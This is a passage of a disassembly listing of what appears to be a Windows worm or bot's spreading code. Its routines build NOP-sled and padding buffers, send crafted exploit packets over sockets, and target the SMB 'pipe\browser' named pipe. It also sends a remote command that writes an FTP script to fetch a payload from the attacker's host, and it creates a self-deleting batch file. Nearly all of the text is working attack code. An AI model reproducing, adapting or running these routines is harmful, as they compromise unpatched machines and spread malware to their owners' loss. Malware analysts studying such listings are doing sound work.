		push	offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n"
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	edx, [esp+440h+var_434]
		push	offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n"
		push	edx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jz	short loc_4256AE
		lea	eax, [esp+440h+var_434]
		push	offset dword_4467A4
		push	eax
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+440h+var_434]
		call	sub_4014DD
		push	eax
		push	esi
		call	sub_4013D4
		add	esp, 8
		test	al, al
		jnz	short loc_4256C2


loc_4256AE:				; CODE XREF: sub_4253C0+F3j
					; sub_4253C0+120j ...
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226


loc_4256BE:				; CODE XREF: sub_4253C0+6Fj
					; sub_4253C0+85j
		xor	al, al
		jmp	short loc_4256EA
; ---------------------------------------------------------------------------


loc_4256C2:				; CODE XREF: sub_4253C0+2ECj
		push	0
		lea	ecx, [esp+444h+var_40C]
		push	400h
		push	ecx
		push	esi
		call	edi	; recv
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+440h+var_434]
		mov	[esp+440h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_4256EA:				; CODE XREF: sub_4253C0+300j
		mov	ecx, [esp+440h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 434h
		retn
sub_4253C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4257F0	proc near		; CODE XREF: sub_40180Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_28		= byte ptr  2Ch
arg_2C		= byte ptr  30h
arg_2F		= byte ptr  33h
arg_59		= byte ptr  5Dh
arg_5B		= byte ptr  5Fh
arg_5C		= byte ptr  60h
arg_90		= byte ptr  94h
arg_A4		= byte ptr  0A8h
arg_A5		= byte ptr  0A9h
arg_F0		= byte ptr  0F4h
arg_190		= byte ptr  194h
arg_89C		= dword	ptr  8A0h
arg_8AC		= byte ptr  8B0h
arg_8D4		= dword	ptr  8D8h
arg_8E4		= byte ptr  8E8h
arg_C08		= dword	ptr  0C0Ch
arg_C0C		= dword	ptr  0C10h
arg_C18		= byte ptr  0C1Ch
arg_E30		= byte ptr  0E34h
arg_E50		= byte ptr  0E54h
arg_E70		= byte ptr  0E74h
arg_E90		= byte ptr  0E94h
arg_1480	= byte ptr  1484h
arg_14E0	= byte ptr  14E4h
arg_14FC	= byte ptr  1500h
arg_1CCC	= byte ptr  1CD0h
arg_2177	= byte ptr  217Bh
arg_2464	= byte ptr  2468h
arg_24C5	= byte ptr  24C9h
arg_34F8	= byte ptr  34FCh
arg_3FA0	= byte ptr  3FA4h
arg_3FC0	= byte ptr  3FC4h
arg_401C	= byte ptr  4020h
arg_401D	= byte ptr  4021h
arg_4020	= byte ptr  4024h
arg_4030	= byte ptr  4034h
arg_4AF4	= byte ptr  4AF8h
arg_6098	= byte ptr  609Ch
arg_60F8	= byte ptr  60FCh
arg_6100	= byte ptr  6104h
arg_8140	= byte ptr  8144h
arg_81DC	= byte ptr  81E0h
arg_8234	= dword	ptr  8238h
arg_8290	= dword	ptr  8294h
arg_8294	= dword	ptr  8298h

		mov	eax, 81D8h
		call	sub_437B30
		mov	eax, dword_446904
		mov	ecx, dword_446908
		push	ebx
		push	ebp
		push	esi
		lea	edx, [esp+0Ch+arg_81DC]
		push	edi
		mov	[esp+10h], eax
		push	edx
		lea	eax, [esp+14h+arg_4]
		push	offset dword_4468F8
		push	eax
		mov	[esp+1Ch+arg_0], ecx
		nop
		call	sub_5F76F7
		add	esp, 0Ch
		xor	eax, eax
		lea	ecx, [esp+10h+arg_A5]


loc_425835:				; CODE XREF: sub_4257F0+56j
		mov	dl, [esp+eax+10h+arg_4]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 28h
		jl	short loc_425835
		mov	ecx, 18h
		mov	esi, offset dword_4461C8
		lea	edi, [esp+10h+arg_2C]
		xor	eax, eax
		rep movsd
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+10h+arg_A4]
		shl	ecx, 1
		mov	eax, ecx
		lea	edi, [esp+10h+arg_5C]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		mov	edx, dword_44621F
		rep movsb
		lea	edi, [esp+10h+arg_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		mov	eax, dword_446223
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		lea	ecx, [esp+ecx*2+10h+arg_5B]
		mov	[ecx], edx
		mov	dl, byte_446227
		mov	[ecx+4], eax
		xor	eax, eax
		mov	[ecx+8], dl
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+10h+arg_4]
		mov	ebx, ecx
		or	ecx, 0FFFFFFFFh
		add	bl, 1Ah
		shl	bl, 1
		repne scasb
		mov	ax, word_510108
		mov	[esp+10h+arg_2F], bl
		not	ecx
		dec	ecx
		push	eax
		shl	cl, 1
		add	cl, 9
		mov	[esp+14h+arg_59], cl
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+14h+arg_8294]
		xor	eax, 9999h
		test	edx, edx
		mov	word_445EC8, ax
		jz	loc_4259E3
		mov	ecx, 36Bh
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	edx, dword_4465BC[edx*8]
		rep stosd
		mov	edi, offset loc_445E18
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	esi, offset loc_445E18
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_8E4]
		mov	eax, ecx
		mov	[esp+14h+arg_8D4], edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, dword_4468F0
		mov	edi, offset loc_445E18
		mov	[esp+14h+arg_C08], ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	[esp+14h+arg_C0C], edx
		mov	edx, ecx
		mov	esi, offset loc_445E18
		lea	edi, [esp+14h+arg_C18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+14h+arg_24C5]


loc_42598F:				; CODE XREF: sub_4257F0+1B5j
		mov	dl, [esp+eax+14h+arg_F0]
		inc	eax
		mov	[ecx-1], dl
		mov	byte ptr [ecx],	0
		add	ecx, 2
		cmp	eax, 0DACh
		jl	short loc_42598F
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_60F8]
		mov	[esp+14h+arg_401C], 0
		rep stosd
		stosw
		mov	ecx, 714h
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_4020]
		mov	[esp+14h+arg_401D], 0
		rep stosd
		stosw
		jmp	short loc_425A52
; ---------------------------------------------------------------------------


loc_4259E3:				; CODE XREF: sub_4257F0+10Bj
		mov	ecx, 1F4h
		mov	eax, 90909090h
		lea	edi, [esp+14h+arg_F0]
		mov	esi, offset loc_445E18
		rep stosd
		mov	edi, offset loc_445E18
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h+arg_190]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+14h+var_4]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	esi, [esp+14h+var_4]
		mov	edx, ecx
		lea	edi, [esp+14h+arg_8AC]
		shr	ecx, 2
		rep movsd
		mov	eax, dword_4465BC
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[esp+14h+arg_89C], eax


loc_425A52:				; CODE XREF: sub_4257F0+1F1j
		mov	ecx, 38Ah
		mov	eax, 31313131h
		lea	edi, [esp+14h+arg_14E0]
		mov	ebp, [esp+14h+arg_8290]
		rep stosd
		movsx	ecx, bl
		mov	ebx, dword_511CA0
		add	ecx, 4
		push	0
		lea	edx, [esp+18h+arg_28]
		push	ecx
		push	edx
		push	ebp
		stosb
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425A96
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425A96:				; CODE XREF: sub_4257F0+297j
		mov	esi, dword_511CA4
		push	0
		lea	eax, [esp+28h+arg_E90]
		push	640h
		push	eax
		push	ebp
		call	esi	; recv
		push	0
		push	68h
		push	offset dword_44622C
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ACC
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425ACC:				; CODE XREF: sub_4257F0+2CDj
		push	0
		lea	ecx, [esp+48h+arg_E70]
		push	640h
		push	ecx
		push	ebp
		call	esi	; recv
		push	0
		push	0A0h
		push	offset dword_446298
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425AFF
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425AFF:				; CODE XREF: sub_4257F0+300j
		push	0
		lea	edx, [esp+68h+arg_E50]
		push	640h
		push	edx
		push	ebp
		call	esi	; recv
		mov	eax, [esp+74h+arg_8234]
		test	eax, eax
		jz	loc_425BE5
		mov	ecx, 1Ah
		mov	esi, offset dword_446450
		lea	edi, [esp+74h+arg_6098]
		push	0
		rep movsd
		mov	ecx, 6D6h
		lea	esi, [esp+78h+arg_2464]
		lea	edi, [esp+78h+arg_6100]
		lea	eax, [esp+78h+arg_6098]
		rep movsd
		movsw
		mov	ecx, 1Ch
		mov	esi, offset dword_4464BC
		lea	edi, [esp+78h+arg_3FC0]
		push	10FCh
		rep movsd
		mov	ecx, 297h
		lea	esi, [esp+7Ch+arg_34F8]
		lea	edi, [esp+7Ch+arg_4030]
		push	eax
		rep movsd
		movsw
		mov	ecx, 21h
		mov	esi, offset dword_446530
		lea	edi, [esp+80h+arg_4AF4]
		push	ebp
		rep movsd
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BAB
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BAB:				; CODE XREF: sub_4257F0+3ACj
		push	0
		lea	ecx, [esp+88h+arg_E30]
		push	640h
		push	ecx
		push	ebp
		call	near ptr 71AB615Ah
		nop
		push	0
		lea	edx, [esp+98h+arg_3FA0]
		push	0FDCh
		push	edx
		push	ebp
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425BE5:				; CODE XREF: sub_4257F0+32Aj
		mov	ecx, 1Fh
		mov	esi, offset dword_44633C
		lea	edi, [esp+74h+arg_1480]
		push	0
		rep movsd
		mov	ecx, 1F4h
		lea	esi, [esp+78h+arg_90]
		lea	edi, [esp+78h+arg_14FC]
		lea	eax, [esp+78h+arg_1480]
		rep movsd
		mov	ecx, 24h
		mov	esi, offset off_4463BC
		lea	edi, [esp+78h+arg_1CCC]
		push	0CF8h
		push	eax
		push	ebp
		rep movsd
		mov	[esp+84h+arg_2177], 0
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425C4C
		xor	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 81D8h
		retn
; ---------------------------------------------------------------------------


loc_425C4C:				; CODE XREF: sub_4257F0+3E6j
					; sub_4257F0+44Dj
		push	12Ch
		nop
		call	near ptr 2821DE2h
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+164h+arg_8140]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_4013BB
		add	esp, 0BCh
		test	al, al
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		setnz	al
		add	esp, 81D8h
		retn
sub_4257F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 130h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_425DC0:				; CODE XREF: ___:00401DCAj
		sub	esp, 650h
		xor	eax, eax
		push	ebx
		mov	[esp+4], eax
		push	esi
		mov	[esp+0Ch], eax
		lea	ecx, [esp+660h]
		push	edi
		mov	[esp+14h], eax
		push	ecx
		mov	[esp+1Ch], eax
		mov	word ptr [esp+10h], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+6FEh]
		mov	[esp+10h], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[esp+1Ah], ax
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_425E26
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E26:				; CODE XREF: ___:00425E18j
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E45
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E45:				; CODE XREF: ___:00425E37j
		mov	edi, dword_511CA0
		push	0
		push	89h
		push	offset dword_445FB0
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425E6B
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425E6B:				; CODE XREF: ___:00425E5Dj
		mov	esi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	640h
		push	ecx
		push	ebx
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_44603C
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425EA0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EA0:				; CODE XREF: ___:00425E92j
		push	0
		lea	edx, [esp+20h]
		push	640h
		push	edx
		push	ebx
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_4460E8
		push	ebx
		call	edi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425ECF
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425ECF:				; CODE XREF: ___:00425EC1j
		push	0
		lea	eax, [esp+20h]
		push	640h
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, byte ptr [esp+60h]
		sub	eax, 30h
		jz	short loc_425EFB
		dec	eax
		jz	short loc_425EF7
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------


loc_425EF7:				; CODE XREF: ___:00425EE9j
		push	0
		jmp	short loc_425F2E
; ---------------------------------------------------------------------------


loc_425EFB:				; CODE XREF: ___:00425EE6j
		push	2
		push	ebx
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		test	al, al
		jz	short loc_425F2C
		mov	esi, 1
		jmp	short loc_425F5A
; ---------------------------------------------------------------------------


loc_425F2C:				; CODE XREF: ___:00425F23j
		push	1


loc_425F2E:				; CODE XREF: ___:00425EF9j
		push	ebx
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+724h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40180C
		add	esp, 0C4h
		neg	al
		sbb	eax, eax
		neg	eax
		mov	esi, eax


loc_425F5A:				; CODE XREF: ___:00425F2Aj
		push	ebx
		nop
		call	near ptr 71AB9639h
		test	esi, esi
		jz	short loc_425F88
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+71Ch]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_425F88:				; CODE XREF: ___:00425F63j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		add	esp, 650h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426020:				; CODE XREF: ___:00401E51j
		push	edi
		push	0C8h
		nop
		call	near ptr 2821DE2h
		mov	edx, [esp+0Ch]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		mov	eax, [esp+8]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		pop	edi
		setnz	al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426070	proc near		; CODE XREF: sub_401A55j

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_BC		= dword	ptr  0C0h

		sub	esp, 5A0h
		xor	eax, eax
		push	ebx
		mov	[esp+5A4h+var_5A0], eax
		push	ebp
		mov	[esp+5A8h+var_59C], eax
		push	esi
		lea	ecx, [esp+5ACh+arg_4]
		push	edi
		mov	[esp+5B0h+var_598], eax
		push	ecx
		mov	[esp+5B4h+var_594], eax
		mov	word ptr [esp+5B4h+var_5A0], 2
		nop
		call	near ptr 71AB2BF4h
		mov	edx, [esp+5B0h+arg_BC]
		mov	[esp+5B0h+var_59C], eax
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	0
		push	1
		push	2
		mov	word ptr [esp+5BCh+var_5A0+2], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4260D8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260D8:				; CODE XREF: sub_426070+59j
		lea	eax, [esp+5B0h+var_5A0]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4260F8
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4260F8:				; CODE XREF: sub_426070+79j
		push	0
		lea	ecx, [esp+5B4h+var_400]
		push	400h
		push	ecx
		push	esi
		call	near ptr 71AB615Ah
		nop
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_449511
		call	sub_4017EE
		mov	edx, dword_44964F
		push	eax
		mov	eax, [esp+5B8h+arg_0]
		push	edx
		push	eax
		call	sub_401E10
		mov	ebx, dword_511AE4
		add	esp, 4
		lea	ecx, [esp+5BCh+var_590]
		push	eax
		push	offset aOpenSDIiEchoUs ; "open %s %d >>	ii &echo user a	a >> ii	&"...
		push	190h
		push	ecx
		call	ebx	; _snprintf
		lea	edi, [esp+5CCh+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 1Ch
		repne scasb
		mov	ebp, dword_511CA0
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+5B4h+var_590]
		push	ecx
		push	edx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426187
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_426187:				; CODE XREF: sub_426070+108j
		push	1F4h
		nop
		call	near ptr 2821DE2h
		mov	ecx, offset byte_449511
		call	sub_4017EE
		push	eax
		push	offset aS_3	; "%s\r\n"
		lea	eax, [esp+5B8h+var_590]
		push	190h
		push	eax
		call	ebx	; _snprintf
		lea	edi, [esp+5C0h+var_590]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		lea	ecx, [esp+5B8h+var_590]
		push	ecx
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4261DC
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 5A0h
		retn
; ---------------------------------------------------------------------------


loc_4261DC:				; CODE XREF: sub_426070+15Dj
		push	0
		lea	edx, [esp+5B4h+var_400]
		push	400h
		push	edx
		push	esi
		nop
		call	near ptr 71AB615Ah
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 5A0h
		retn
sub_426070	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426280:				; CODE XREF: ___:00402199j
		mov	eax, 1E88h
		call	sub_437B30
		push	esi
		push	edi
		mov	ecx, 20Ch
		xor	eax, eax
		lea	edi, [esp+238h]
		mov	esi, offset dword_4469AC
		rep stosd
		mov	ecx, 0FAh
		mov	eax, 90909090h
		lea	edi, [esp+0A68h]
		mov	edx, dword_51010C
		rep stosd
		mov	ecx, 56h
		lea	edi, [esp+0CDEh]
		rep movsd
		mov	eax, dword_446C24
		mov	ecx, 10h
		movsw
		movsb
		lea	edi, [esp+0E50h]
		mov	esi, offset dword_44695C
		rep stosd
		mov	eax, dword_446C1C
		mov	ecx, 0Bh
		lea	edi, [esp+238h]
		rep movsd
		mov	ecx, 10Ah
		lea	esi, [esp+0A68h]
		lea	edi, [esp+270h]
		mov	[esp+264h], eax
		mov	[esp+268h], edx
		mov	[esp+26Ch], eax
		rep movsd
		mov	ecx, 7
		mov	esi, offset dword_44698C
		lea	edi, [esp+69Ch]
		mov	ax, word_446C18
		mov	[esp+698h], edx
		lea	edx, [esp+30h]
		rep movsd
		mov	esi, dword_511AE4
		lea	ecx, [esp+1E98h]
		push	ecx
		push	offset dword_4468F8
		push	104h
		push	edx
		mov	[esp+6BCh], ax
		call	esi	; _snprintf
		add	esp, 10h
		xor	edi, edi
		lea	ecx, [esp+10h]
		lea	eax, [esp+30h]
		push	edi
		push	offset byte_448F30
		push	offset byte_448F30
		push	ecx
		mov	[esp+24h], edi
		mov	[esp+30h], edi
		mov	[esp+3Ch], edi
		mov	[esp+34h], eax
		call	sub_4382AA
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_4263A5
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263A5:				; CODE XREF: ___:00426397j
		lea	edx, [esp+1E98h]
		lea	eax, [esp+134h]
		push	edx
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	104h
		push	eax
		call	esi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+134h]
		push	edi
		push	edi
		push	3
		push	edi
		push	edi
		push	0C0000000h
		push	ecx
		nop
		call	near ptr 2850000h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4263EF
		or	eax, eax
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_4263EF:				; CODE XREF: ___:004263E2j
		lea	edx, [esp+0Ch]
		push	edi
		push	edx
		lea	eax, [esp+0E98h]
		push	1000h
		push	eax
		push	49h
		push	offset dword_446910
		push	esi
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	short loc_426427
		push	esi
		nop
		call	near ptr 283061Dh
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426427:				; CODE XREF: ___:00426412j
		lea	ecx, [esp+8]
		push	edi
		push	ecx
		lea	edx, [esp+240h]
		push	830h
		push	edx
		push	esi
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jnz	short loc_426458
		push	esi
		nop
		call	near ptr 283061Dh
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------


loc_426458:				; CODE XREF: ___:00426443j
		push	115Ch
		mov	ecx, 2Eh
		sub	esp, 0BCh
		lea	esi, [esp+1F54h]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_401A55
		add	esp, 0C0h
		neg	al
		sbb	eax, eax
		pop	edi
		neg	eax
		pop	esi
		add	esp, 1E88h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426520	proc near		; CODE XREF: sub_4013CAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_426520	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426560	proc near		; CODE XREF: sub_401794j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013CA
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_426585
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426585:				; CODE XREF: sub_426560+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_446C5C
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_446CC0, ecx
		lea	ecx, [eax+1]
		mov	dword_446CE1, ecx
		lea	ecx, [eax+17h]
		mov	dword_446CD9, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_446CEF, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD0
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_446CD4
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_446CD5
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_446CD9
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_446CDD
		mov	[ecx+8], esi
		mov	esi, dword_446CE1
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_446CE5
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_426560	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4266D0	proc near		; CODE XREF: sub_402180j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013CA
		push	eax
		call	sub_4017C6
		add	esp, 0Ch
		retn
sub_4266D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426700:				; CODE XREF: ___:0040173Fj
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402180
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
